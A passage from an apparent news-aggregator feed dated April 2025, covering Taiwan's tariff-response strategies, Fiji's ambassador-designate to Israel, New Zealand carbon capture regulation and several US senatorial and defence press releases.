sectors of society for providing valuable opinions, which the government regards highly, and will use as a reference to make policy decisions.  However, if we calmly and carefully analyze Taiwan’s trade with the US, we find that last year Taiwan’s exports to the US were valued at US$111.4 billion, accounting for 23.4 percent of total export value, with the other 75-plus percent of products sold worldwide to countries other than the US. Of products sold to the US, competitive ICT products and electronic components accounted for 65.4 percent. This shows that Taiwan’s economy does still have considerable resilience. As long as our response strategies are appropriate, and the public and private sectors join forces, we can reduce impacts. Please do not panic. To address the reciprocal tariffs by the US, Taiwan has no plans to adopt retaliatory tariffs. There will be no change in corporate investment commitments to the US, as long as they are consistent with national interests. But we must ensure the US clearly understands Taiwan’s contributions to US economic development. More importantly, we must actively seek to understand changes in the global economic situation, strengthen Taiwan-US industry cooperation, elevate the status of Taiwan industries in global supply chains, and with safeguarding the continued development of Taiwan’s economy as our goal, adopt the following five strategies to respond. Strategy one: Make every effort to improve reciprocal tariff rates through negotiations using the following five methods:  1. Taiwan has already formed a negotiation team led by Vice Premier Cheng Li-chiun (鄭麗君). The team includes members from the National Security Council, the Office of Trade Negotiations, and relevant Executive Yuan ministries and agencies, as well as academia and industry. Like the US-Mexico-Canada free trade agreement, negotiations on tariffs can start from Taiwan-US bilateral zero-tariff treatment. 2. To expand purchases from the US and thereby reduce the trade deficit, the Executive Yuan has already completed an inventory regarding large-scale procurement plans for agricultural, industrial, petroleum, and natural gas products, and the Ministry of National Defense has also proposed a military procurement list. All procurement plans will be actively pursued. 3. Expand investments in the US. Taiwan’s cumulative investment in the US already exceeds US$100 billion, creating approximately 400,000 jobs. In the future, in addition to increased investment in the US by Taiwan Semiconductor Manufacturing Company, other industries such as electronics, ICT, petrochemicals, and natural gas can all increase their US investments, deepening Taiwan-US industry cooperation. Taiwan’s government has helped form a “Taiwan investment in the US” team, and hopes that the US will reciprocate by forming a “US investment in Taiwan” team to bring about closer Taiwan-US trade cooperation, jointly creating a future economic golden age.  4. We must eliminate non-tariff barriers to trade. Non-tariff barriers are an indicator by which the US assesses whether a trading partner is trading fairly with the US. Therefore, we will proactively resolve longstanding non-tariff barriers so that negotiations can proceed more smoothly. 5. We must resolve two issues that have been matters of longstanding concern to the US. One regards high-tech export controls, and the other regards illegal transshipment of dumped goods, otherwise referred to as “origin washing.” Strategy two: We must adopt a plan for supporting our industries. For industries that will be affected by the tariffs, and especially traditional industries as well as micro-, small-, and medium-sized enterprises, we will provide timely and needed support and assistance. Premier Cho Jung-tai (卓榮泰) and his administrative team recently announced a package of 20 specific measures designed to address nine areas. Moving forward, the support we provide to different industries will depend on how they are affected by the tariffs, will take into account the particular features of each industry, and will help each industry innovate, upgrade, and transform. Strategy three: We must adopt medium- and long-term economic development plans. At this point in time, our government must simultaneously adopt new strategies for economic and industrial development. This is also the fundamental path to solutions for future economic challenges. The government will proactively cooperate with friends and allies, develop a diverse range of markets, and achieve closer integration of entities in the upper, middle, and lower reaches of industrial supply chains. This course of action will make Taiwan’s industrial ecosystem more complete, and will help Taiwanese industries upgrade and transform. We must also make good use of the competitive advantages we possess in such areas as semiconductor manufacturing, integrated chip design, ICT, and smart manufacturing to build Taiwan into an AI island, and promote relevant applications for food, clothing, housing, and transportation, as well as military, security and surveillance, next-generation communications, and the medical and health and wellness industries as we advance toward a smarter, more sustainable, and more prosperous new Taiwan. Strategy four: “Taiwan plus one,” i.e., new “Taiwan plus the US” arrangements: While staying firmly rooted in Taiwan, our enterprises are expanding their global presence and marketing worldwide. This has been our national economic development strategy, and the most important aspect is maintaining a solid base here in Taiwan. We absolutely must maintain a solid footing, and cannot allow the present strife to cause us to waver. Therefore, our government will incentivize investments, carry out deregulation, and continue to improve Taiwan’s investment climate by actively resolving problems involving access to water, electricity, land, human resources, and professional talent. This will enable corporations to stay in Taiwan and continue investing here. In addition, we must also help the overseas manufacturing facilities of offshore Taiwanese businesses to make necessary adjustments to support our “Taiwan plus one” policy, in that our national economic development strategy will be adjusted as follows: to stay firmly rooted in Taiwan while expanding our global presence, strengthening US ties, and marketing worldwide. We intend to make use of the new state of supply chains to strengthen cooperation between Taiwanese and US industries, and gain further access to US markets. Strategy five: Launch industry listening tours: All industrial firms, regardless of sector or size, will be affected to some degree once the US reciprocal tariffs go into effect. The administrative teams led by myself and Premier Cho will hear out industry concerns so that we can quickly resolve problems and make sure policies meet actual needs. My fellow citizens, over the past half-century and more, Taiwan has been through two energy crises, the Asian financial crisis, the global financial crisis, and pandemics. We have been able to not only withstand one test after another, but even turn crises into opportunities. The Taiwanese economy has emerged from these crises stronger and more resilient than ever. As we face this latest challenge, the government and civil society will work hand in hand, and I hope that all parties in the legislature, both ruling and opposition, will support the measures that the Executive Yuan will take to open up a broader path for Taiwan’s economy. Let us join together and give it our all. Thank you.

    MIL OSI Asia Pacific News –

    April 29, 2025
  • MIL-Evening Report: Tarakinikini appointed as Fiji’s ambassador-designate to Israel

    By Anish Chand in Suva

    Filipo Tarakinikini has been appointed as Fiji’s Ambassador-designate to Israel.

    This has been stated on two official X, formerly Twitter, handle posts overnight.

    “#Fiji is determined to deepen its relations with #Israel as Fiji’s Ambassador-designate to Israel, HE Ambassador @AFTarakinikini prepares to present his credentials on 28 April, 2025,” stated the Fiji at UN twitter account.

    Tarakinikini is also Fiji’s current Ambassador to the United Nations.

    In a separate post, Deputy Director-General Eynat Shlein of Israel’s international development cooperation agency said she was “honoured” to meet Tarakinikini.

    “We discussed the vast cooperation opportunities, promoting & enhancing sustainable development, emphasizing investment in capacity building & human capital,” she said on X.

    Fiji is only the seventh country in the world to open an embassy in Israel.

    Republished from The Fiji Times with permission.

    Centre of controversy
    Pacific Media Watch
    reports that Lieutenant-Colonel Tarakinikini was at the centre of controversy in Fiji in 2005 when he was declared a “deserter” by the Fiji military.

    However, from 1979 to 2002, he served in the Fiji Military Forces, including eight years in United Nations peacekeeping missions, among them, south Lebanon and the Multinational Force in Sinai, Egypt.

    Great honor to have have this timely briefing @EynatShlein, Ambassador Roi @IsraelMFA #Fiji is determined to deepen its relations with #Israel as Fiji’s Ambassador-designate to Israel, HE Ambassador @AFTarakinikini prepares to present his credentials on 28 April, 2025 🇮🇱 🤝 🇫🇯… https://t.co/mGPKjYM5Qc

    — Fiji at the UN🇫🇯 (@FijiMissionUN) April 27, 2025

    Beginning in 2003, he was the UN Department for Security and Safety’s (UNDSS) Chief Security Adviser in Jerusalem, as well as in Kathmandu, Nepal, from 2006 to 2008.

    From 2008 to 2018, he served in numerous United Nations integrated assessment missions, programme working groups, restructuring and redeployments and technical assessment missions.

    ‘Weapons of war’
    Yesterday, the International Court of Justice (ICJ) began week-long hearings at The Hague into global accusations of Israel using starvation and humanitarian aid as “weapons of war” and failing to meet its obligations to the Palestinian people in Gaza as the occupying power in its genocidal war on the besieged enclave.

    Forty countries are expected to give evidence.

    The ICJ has been tasked by the UN with providing an advisory opinion “on a priority basis and with the utmost urgency”.

    Although the ICJ judges’ opinion is not binding, it provides clarity on legal questions.

    In January 2024, the ICJ ruled that Israel must take “all measures” to prevent a genocide in Gaza.

    Then in June, it said in an advisory opinion that Israel’s occupation of the West Bank, East Jerusalem and Gaza was illegal.

    Both Israeli Prime Minister Benjamin Netanyahu and former Defence Minister Yoav Gallant are wanted on arrest warrants by the International Criminal Court (ICC) to face charges of war crimes and crimes against humanity.

    MIL OSI Analysis – EveningReport.nz –

    April 29, 2025
  • MIL-Evening Report: The government plans to regulate carbon capture technologies – but who will be the regulating agency?

    Source: The Conversation (Au and NZ) – By Barry Barton, Professor of Law, University of Waikato

    The Icelandic company Carbfix has developed a technology to store carbon dioxide. Shutterstock/Oksana Bali

    Newly released documents add more detail to the government’s plans for a regulatory framework to enable carbon capture and storage.

    But they show indecision on two key matters – the legal framework and the agency that would be in charge.

    The plan relates primarily to conventional carbon capture and storage technologies, which remove carbon dioxide from an industrial gas flow and dispose of it deep underground.

    It also covers some methods of carbon dioxide removal, an emerging but as yet commercially untested suite of technologies such as enhanced rock weathering, bio-energy capture and direct air capture.

    The latter technologies are not predicated on fossil fuel consumption and could operate in many different situations.

    Neither kind of carbon removal is a simple answer to the climate challenge and the priority remains on cutting emissions. But we need to have regulatory frameworks in place for both reduction and removal technologies of all kinds, and soon.

    Earning credits from emissions trading

    Both types of technologies will benefit from the government’s decision to allow companies to get credits in the New Zealand Emissions Trading Scheme (ETS) for the disposal of carbon dioxide from any source. Credits will not be tied to any one technology, according to the released policy discussion documents.

    It’s also a positive development that an operator can get credits as a separate removal activity, not merely as a reduction of an existing emissions liability (although official advice was initially against separate credits). This allows for diversity in the players and the systems for removals.

    The government has decided it will assume liability for any carbon dioxide leaks from geological storage, but only after verification that fluids in the subsurface are behaving as expected after closure, and no sooner than 15 years after closure.

    Leaks this long after injection are unlikely, but we nevertheless need strong regulation, financial assurance to guarantee remedial action and clear liability rules.

    Companies will be able to earn credits for the permanent disposal of carbon dioxide.
    Shutterstock/VectorMine

    The government also states ETS credits will only be available for removals that can be recognised internationally against New Zealand’s commitments to cut emissions. This would apply only to geological storage but not deep-ocean deposition or rock weathering.

    But that’s not quite right. The general international rules already allow the inclusion in a national greenhouse gas inventory of removals from any process. Detailed methodologies for carbon dioxide removal are likely to become available within the next few years.

    With change underway, New Zealand’s new regime should allow a wide range of removal methods to receive credits.

    A new regulatory regime

    The documents acknowledge that New Zealand needs a broader regulatory regime, beyond the ETS, to cover the entire process of carbon dioxide removal. The suitability of a disposal site must be verified, a detailed geological characterisation is required and the project design and operation need to be approved.

    Approval is also required for closure and post-closure plans, and systematic monitoring. Monitoring is everything; it must be accurate and verifiable but also cost effective. The operator will have to pay for monitoring for decades after site closure.

    In agreeing on these features, the government is following the examples of many countries overseas, including Australia, Canada, the UK and the EU.

    However, it is intriguing that the government hasn’t decided where this new regime should sit in the statute book, and who should manage it. Much of the apparently relevant text in the documents has been redacted.

    Given that carbon dioxide would be stored underground, the Crown Minerals Act is one possibility. But this legislation is all about extraction, not disposal. Although the New Zealand petroleum and minerals unit at the Ministry for Business, Innovation and Employment has expertise in regulating subsurface operations, it focuses largely on oil and gas, not on innovative climate projects.

    The Resource Management Act certainly provides a regulatory approval regime, but it is awaiting reform and would need much more than the currently proposed changes to deal with carbon capture and storage or removal properly. So would legislation covering activities within New Zealand’s exclusive economic zone.

    Indeed each act would require a whole new part to be added, with its own principles and procedures. There is a lot to be said for a standalone new act, in a form that would fit with the emerging Natural Environment Act that will replace the Resource Management Act.

    The new legislation and regulation regime could be administered by the Environmental Protection Authority, which is already involved in Resource Management Act call-ins and fast-track approvals, the legislation covering the exclusive economic zone and the ETS.

    One can only guess there might be tensions between contending factions in government. What we should ask for is a legislative and institutional arrangement that allows carbon capture and storage or removal technologies to evolve and grow without being a mere offshoot of the oil and gas industry or any other existing sector.

    As part of our efforts to reduce emissions, we must make sure all kinds of removal technologies are available that truly suit New Zealand.

    Barry Barton is part of the project “Derisking Carbon Dioxide Removal at Megatonne Scale in Aotearoa” which is funded by the MBIE’s Endeavour Fund. In the past, he has received funding from MBIE and the gas industry for research on CCS legal issues.
    He is a director of the Environmental Defence Society.

    – ref. The government plans to regulate carbon capture technologies – but who will be the regulating agency? – https://theconversation.com/the-government-plans-to-regulate-carbon-capture-technologies-but-who-will-be-the-regulating-agency-254696

    MIL OSI Analysis – EveningReport.nz –

    April 29, 2025
  • MIL-OSI USA: Statement by Jules W. Hurst III, Performing the Duties of the Under Secretary of Defense for Personnel and Readiness on the Review of Medical Conditions Disqualifying for Accession Into the Military Memorandum

    Source: United States Department of Defense

    The Office of the Undersecretary of Defense for Personnel and Readiness will identify any medical conditions that should be ineligible for a medical accession waiver and identify any medical conditions for which a medical accession waiver may only be granted by the secretary of a military department.

    MIL OSI USA News –

    April 29, 2025
  • MIL-OSI USA: Peters & Slotkin to President Trump: “Selfridge is the Ideal Location” for Future Fighter Mission

    US Senate News:

    Source: United States Senator for Michigan Gary Peters
    WASHINGTON, DC – U.S. Senators Gary Peters (MI) and Elissa Slotkin (MI) underscored their willingness to work with President Trump and his Administration to secure a new fighter mission at Selfridge Air National Guard Base in Macomb County. In a letter to President Trump, Peters and Slotkin expressed their appreciation of his recent commitment to base a new fighter mission at Selfridge, which builds on the long-term bipartisan efforts of Peters, Slotkin, and the Michigan delegation at-large to achieve this goal.  
    “As you highlighted, Selfridge has enjoyed bipartisan support from the Michigan Congressional delegation, state and local leaders and the Macomb County community to recapitalize the 107th Fighter Squadron’s A-10 aircraft with an advanced fighter,” Peters and Slotkin wrote. “Your announcement is an important step towards realizing our long-held goal and we are ready to work with you, the Department of Defense and the Air Force to identify and base a new advanced fighter mission at Selfridge.” 
    The letter also highlights the advantages of placing a new fighter mission at Selfridge, including the base’s proximity to Michigan’s key military installations such as the National All-Domain Warfighting Center, which is comprised of the Camp Grayling Joint Maneuver Training Center and the Alpena Combat Readiness Training Center in Northern Michigan. 
    “Selfridge is the ideal location for a future fighter mission with the experienced pilots, crews and maintainers, access to world-class exercises and training ranges with state-of-the-art infrastructure,” the senators continued. “The world is facing greater threats than at any time since the end of World War II. It is fitting that during this time of need our country once again turns to Michigan to protect America by placing a new fighter mission at Selfridge. We stand ready to work closely with you and the Department of Defense to make this new mission a reality.” 
    The full text of the letter can be found here. 
    Senators Peters and Slotkin have made supporting the future of Selfridge Air National Guard Base a top priority. In January 2024, Peters announced that the U.S. Air Force selected Selfridge Air National Guard Base in Macomb County to host a new squadron of twelve KC-46A refueling tankers. This announcement came shortly after Peters led a bipartisan, bicameral group of Michigan delegation members, including Slotkin, in urging then-U.S. Air Force Secretary Frank Kendall to select Selfridge for a new squadron of these next-generation tankers, which will be deployed by the U.S. Air Force for the next 50 years. Earlier this year, the senators introduced bipartisan legislation seeking to preserve the U.S. Air Force’s fighter force structure and support the recapitalization of Air National Guard fighter missions, including at Selfridge. In March, they also led a bipartisan, bicameral resolution to honor the 108th anniversary of Selfridge Air National Guard Base and commemorate the thousands of men and women who have worked and trained and Selfridge since its inception.  
    To further strengthen Selfridge’s role in U.S. national and homeland security efforts, Peters established the Department of Homeland Security (DHS) Northern Border Mission Center last year. Peters secured $3 million last March to operate this Center at Selfridge, where it is collocated with current DHS components. The Center, which DHS is already working to set up, will coordinate with state, local, and Tribal governments, and other key stakeholders, to ensure DHS and its operational components are able to fulfill their security mission at the Northern Border.    

    MIL OSI USA News –

    April 29, 2025
  • MIL-OSI USA: Senator Marshall Visits VBA in Wichita as City is Recognized as the Best Place in America for Veterans’ Health Care

    US Senate News:

    Source: United States Senator for Kansas Roger Marshall
    Wichita, KS – U.S. Senator Roger Marshall, M.D. (R-Kansas) met with leadership at the Veterans Benefits Administration (VBA) in Wichita last week.
    “It was great to meet with the Veterans Benefits Administration leadership team in Wichita,” said Senator Marshall. “My visit reaffirmed why Wichita has been recognized as the top city in the country for veterans’ health care. As a veteran and someone who comes from a military family, I have a deep appreciation of the sacrifices our servicemembers have made. That’s why I am one of their strongest advocates in Washington. While Kansas veterans are getting the best care in the nation, I will never stop fighting to ensure they receive the top-notch support and resources they deserve.”
    Background:
    The VBA is a division of the U.S. Department of Veterans Affairs (VA) that provides disability compensation, pension benefits, GI Bill education and job training funding, and other forms of financial assistance to veterans and their families.
    The VBA office in Wichita serves 11 states as part of a nationwide network of regional offices and handles all congressional inquiries for the region.
    Recently, Wichita was recognized as the top city in the nation for veterans’ health care, according to Trajector Medical’s 2025 rankings.
    The Robert J. Dole VA ranked first nationwide in access to specialty care, with several standout accomplishments:
    Shortest average wait time in the U.S. for existing patients to see a cardiologist (3.8 days)
    Second highest percentage of Veterans able to access routine specialty care when needed (95%)
    Second-highest access to urgent specialty care (90%)
    Third shortest wait time for new patients accessing pulmonology (13.8 days)
    Senator Marshall has been a strong advocate for American veterans. Some of his most recent actions supporting veterans have been:
    Reintroducing the bipartisan Major Richard Star Act, which guarantees that combat-injured veterans receive both their VA disability and Defense Department retirement payments in full.
    Leading the Preserving Access to Patient Reimbursement (PAPR) Act, which would ensure that our nation’s veterans have access to a paper-based system in order to be reimbursed for travel expenses incurred to and from medical appointments.

    MIL OSI USA News –

    April 29, 2025
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